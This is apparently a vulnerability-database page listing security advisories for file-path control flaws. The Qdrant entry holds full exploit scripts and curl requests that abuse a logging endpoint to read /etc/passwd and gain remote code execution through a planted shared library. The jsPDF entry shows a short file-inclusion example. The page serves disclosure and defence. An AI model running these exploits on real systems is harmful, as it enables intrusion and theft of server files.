CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
911 vulnerabilities reference this CWE, most recent first.
GHSA-F5QP-6QPH-5F2C
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31Windows Compressed Folder Tampering Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38165"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T18:15:23Z",
"severity": "MODERATE"
},
"details": "Windows Compressed Folder Tampering Vulnerability",
"id": "GHSA-f5qp-6qph-5f2c",
"modified": "2024-08-13T18:31:16Z",
"published": "2024-08-13T18:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38165"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F632-VM87-2M2F
Vulnerability from github – Published: 2026-02-05 21:22 – Updated: 2026-02-06 21:43Summary
It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5
Details
POST /logger
(Source code link)
endpoint accepts an attacker-controlled on_disk.log_file path.
There are no authorization checks (but authentication check is present).
This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.
After running the PoC, the content of config/local.yaml will be:
2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
static_content_dir: ..
2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391
Some junk log lines are present, but they don't matter as this is still valid yaml.
After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.
Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).
Relevant requests:
- Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
-H "Content-Type: application/json" \
-d '{
"log_level":"INFO",
"on_disk":{
"enabled":true,
"format":"text",
"log_level":"INFO",
"buffer_size_bytes":1,
"log_file":"config/local.yaml"
}
}'
- Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
-H "Content-Type: application/json" \
-d '{}'
Full reproduction instructions
- Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
- Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
- Restart the container:
sudo docker restart qdrant-poc
- Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...
Mitigation
- Limit usage of
/loggerendpoint to users with management privileges only (or better disable it completely). - Restrict the path of the log file to a dedicated logs directory.
This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.
Exploit code
exploit_privesc.py
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "config/local.yaml",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.patch(
f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
print("[+] Log injection successful")
else:
print(f"[-] Error: {error}")
sys.exit(1)
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
exploit_rce.py
import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()
assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
unlink("/etc/ld.so.preload");
system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
with open(f"{tmpdir}/cmd_code.c", "w") as f:
f.write(so_code)
os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
f"{url}/logger",
json={
"log_level": "INFO",
"on_disk": {
"enabled": True,
"format": "text",
"log_level": "INFO",
"buffer_size_bytes": 1,
"log_file": "/etc/ld.so.preload",
},
},
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")
res = s.post(
f"{url}/logger",
json={
"on_disk": {
"enabled": False,
},
},
)
res.raise_for_status()
print("[+] Logger disabled")
rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()
Impact
Remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "qdrant"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.3"
},
{
"fixed": "1.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25628"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:22:50Z",
"nvd_published_at": "2026-02-06T21:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"log_level\":\"INFO\",\n \"on_disk\":{\n \"enabled\":true,\n \"format\":\"text\",\n \"log_level\":\"INFO\",\n \"buffer_size_bytes\":1,\n \"log_file\":\"config/local.yaml\"\n }\n }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"config/local.yaml\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n print(\"[+] Log injection successful\")\nelse:\n print(f\"[-] Error: {error}\")\n sys.exit(1)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n unlink(\"/etc/ld.so.preload\");\n system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n f.write(so_code)\n os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"log_level\": \"INFO\",\n \"on_disk\": {\n \"enabled\": True,\n \"format\": \"text\",\n \"log_level\": \"INFO\",\n \"buffer_size_bytes\": 1,\n \"log_file\": \"/etc/ld.so.preload\",\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n f\"{url}/logger\",\n json={\n \"on_disk\": {\n \"enabled\": False,\n },\n },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
"id": "GHSA-f632-vm87-2m2f",
"modified": "2026-02-06T21:43:57Z",
"published": "2026-02-05T21:22:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/qdrant/qdrant"
},
{
"type": "WEB",
"url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "qdrant has arbitrary file write via `/logger` endpoint"
}
GHSA-F6VJ-43FG-42HG
Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-27 00:00An information disclosure vulnerability exists in the aVideoEncoderReceiveImage functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-32761"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-22T19:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the aVideoEncoderReceiveImage functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.",
"id": "GHSA-f6vj-43fg-42hg",
"modified": "2022-08-27T00:00:50Z",
"published": "2022-08-23T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32761"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1549"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F855-FWHM-RV39
Vulnerability from github – Published: 2025-09-11 09:31 – Updated: 2026-04-08 18:33The Propovoice: All-in-One Client Management System plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.7.6.7 via the send_email() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-8422"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-11T08:15:33Z",
"severity": "HIGH"
},
"details": "The Propovoice: All-in-One Client Management System plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.7.6.7 via the send_email() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-f855-fwhm-rv39",
"modified": "2026-04-08T18:33:55Z",
"published": "2025-09-11T09:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8422"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/propovoice/trunk/includes/Api/Type/Email.php#L275"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3361482/propovoice/trunk/includes/Api/Type/Email.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ac72d7a-9540-435f-93cb-fdd4104b18f7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F8CM-6447-X5H2
Vulnerability from github – Published: 2026-01-05 17:35 – Updated: 2026-01-06 15:51Impact
User control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.
If given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.
Other affected methods are: addImage, html, addFont.
Only the node.js builds of the library are affected, namely the dist/jspdf.node.js and dist/jspdf.node.min.js files.
Example attack vector:
import { jsPDF } from "./dist/jspdf.node.js";
const doc = new jsPDF();
doc.addImage("./secret.txt", "JPEG", 0, 0, 10, 10);
doc.save("test.pdf"); // the generated PDF will contain the "secret.txt" file
Patches
The vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.
Workarounds
With recent node versions, jsPDF recommends using the --permission flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the node documentation for details.
For older node versions, sanitize user-provided paths before passing them to jsPDF.
Credits
Researcher: kilkat (Kwangwoon Kim)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.4"
},
"package": {
"ecosystem": "npm",
"name": "jspdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68428"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-35",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T17:35:29Z",
"nvd_published_at": "2026-01-05T22:15:51Z",
"severity": "CRITICAL"
},
"details": "### Impact\nUser control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.\n\nIf given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.\n\nOther affected methods are: `addImage`, `html`, `addFont`.\n\nOnly the node.js builds of the library are affected, namely the `dist/jspdf.node.js` and `dist/jspdf.node.min.js` files.\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"./dist/jspdf.node.js\";\n\nconst doc = new jsPDF();\n\ndoc.addImage(\"./secret.txt\", \"JPEG\", 0, 0, 10, 10);\ndoc.save(\"test.pdf\"); // the generated PDF will contain the \"secret.txt\" file\n```\n\n### Patches\nThe vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.\n\n### Workarounds\nWith recent node versions, jsPDF recommends using the `--permission` flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the [node documentation](https://nodejs.org/api/permissions.html) for details.\n\nFor older node versions, sanitize user-provided paths before passing them to jsPDF.\n\n### Credits\nResearcher: kilkat (Kwangwoon Kim)",
"id": "GHSA-f8cm-6447-x5h2",
"modified": "2026-01-06T15:51:57Z",
"published": "2026-01-05T17:35:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-f8cm-6447-x5h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68428"
},
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/commit/a688c8f479929b24a6543b1fa2d6364abb03066d"
},
{
"type": "PACKAGE",
"url": "https://github.com/parallax/jsPDF"
},
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/releases/tag/v4.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jsPDF has Local File Inclusion/Path Traversal vulnerability"
}
GHSA-FC2G-VX9Q-C76V
Vulnerability from github – Published: 2024-07-11 03:30 – Updated: 2024-07-11 03:30External Control of File Name or Path (CWE-73) in the Controller 6000 and Controller 7000 allows an attacker with local access to the Controller to perform arbitrary code execution.
This issue affects: 9.10 prior to vCR9.10.240520a (distributed in 9.10.1268(MR1)), 9.00 prior to vCR9.00.240521a (distributed in 9.00.1990(MR3)), 8.90 prior to vCR8.90.240520a (distributed in 8.90.1947 (MR4)), 8.80 prior to vCR8.80.240520a (distributed in 8.80.1726 (MR5)), 8.70 prior to vCR8.70.240520a (distributed in 8.70.2824 (MR7)), all versions of 8.60 and prior.
{
"affected": [],
"aliases": [
"CVE-2024-23317"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-11T03:15:03Z",
"severity": "MODERATE"
},
"details": "External Control of File Name or Path (CWE-73) in the Controller 6000 and Controller 7000 allows an attacker with local access to the Controller to perform arbitrary code execution. \n\nThis issue affects:\u00a09.10 prior to vCR9.10.240520a (distributed in 9.10.1268(MR1)), 9.00 prior to vCR9.00.240521a (distributed in 9.00.1990(MR3)), 8.90 prior to vCR8.90.240520a (distributed in 8.90.1947 (MR4)), 8.80 prior to vCR8.80.240520a (distributed in 8.80.1726 (MR5)), 8.70 prior to vCR8.70.240520a (distributed in 8.70.2824 (MR7)), all versions of 8.60 and prior.",
"id": "GHSA-fc2g-vx9q-c76v",
"modified": "2024-07-11T03:30:55Z",
"published": "2024-07-11T03:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23317"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/Security-Advisories/CVE-2024-23317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FGC5-6VQG-25Q8
Vulnerability from github – Published: 2025-01-30 15:31 – Updated: 2025-01-30 15:31The W2S – Migrate WooCommerce to Shopify plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.2.1 via the 'viw2s_view_log' AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-12861"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-30T14:15:33Z",
"severity": "MODERATE"
},
"details": "The W2S \u2013 Migrate WooCommerce to Shopify plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.2.1 via the \u0027viw2s_view_log\u0027 AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-fgc5-6vqg-25q8",
"modified": "2025-01-30T15:31:38Z",
"published": "2025-01-30T15:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12861"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3227799%40w2s-migrate-woo-to-shopify\u0026new=3227799%40w2s-migrate-woo-to-shopify\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8a8eeae9-572c-420a-be7d-a240c54e96ae?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FGXV-26Q5-6XQ2
Vulnerability from github – Published: 2026-03-31 18:31 – Updated: 2026-04-01 21:30An arbitrary file overwrite vulnerability in UXGROUP LLC Voice Recorder v10.0 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.
{
"affected": [],
"aliases": [
"CVE-2026-30284"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-31T16:16:29Z",
"severity": "HIGH"
},
"details": "An arbitrary file overwrite vulnerability in UXGROUP LLC Voice Recorder v10.0 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.",
"id": "GHSA-fgxv-26q5-6xq2",
"modified": "2026-04-01T21:30:27Z",
"published": "2026-03-31T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30284"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/25"
},
{
"type": "WEB",
"url": "https://appcraze.co"
},
{
"type": "WEB",
"url": "https://secsys.fudan.edu.cn"
},
{
"type": "WEB",
"url": "http://voice.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH6W-C9CF-Q94H
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30External control of file name or path in Confidential Azure Container Instances allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-59292"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:16:12Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Confidential Azure Container Instances allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-fh6w-c9cf-q94h",
"modified": "2025-10-14T18:30:36Z",
"published": "2025-10-14T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59292"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJM7-6RV9-337H
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31Dell Unisphere for PowerMax, version(s) 10.2, contain(s) an External Control of File Name or Path vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability to delete arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2026-26360"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:25Z",
"severity": "HIGH"
},
"details": "Dell Unisphere for PowerMax, version(s) 10.2, contain(s) an External Control of File Name or Path vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability to delete arbitrary files.",
"id": "GHSA-fjm7-6rv9-337h",
"modified": "2026-02-19T18:31:53Z",
"published": "2026-02-19T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26360"
},
{
